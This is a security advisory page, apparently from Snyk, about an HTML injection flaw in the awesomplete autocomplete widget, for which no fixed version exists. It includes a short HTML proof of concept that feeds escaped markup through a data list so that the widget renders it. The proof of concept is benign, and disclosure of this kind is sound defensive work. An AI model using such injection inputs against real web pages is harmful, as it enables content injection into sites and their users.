HTML Injection Affecting awesomplete package, versions *


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-AWESOMPLETE-174474
  • published23 Apr 2019
  • disclosed22 Apr 2019
  • creditArthurHoaro

Introduced: 22 Apr 2019

CVE NOT AVAILABLE CWE-74  (opens in a new tab)

How to fix?

There is no fixed version for awesomplete.

Overview

awesomplete is a lightweight, customizable, autocomplete widget for web applications.

Affected versions of this package are vulnerable to HTML Injection due to not processing text containing html tags properly. This may allow attackers to inject arbitrary HTML into a vulnerable web page.

PoC

<html>
  <head>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/awesomplete/1.1.4/awesomplete.css" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/awesomplete/1.1.4/awesomplete.js" async></script>

  </head>
  
  <body>
   <input class="awesomplete" data-list="#mylist" data-minchars="1" />
<ul id="mylist">
    <li> Seach for the following: &lt;h1&gt;Heading Tag Example&lt;/h1&gt;</li>
</ul>   
  </body>
</html>

CVSS Scores

version 3.1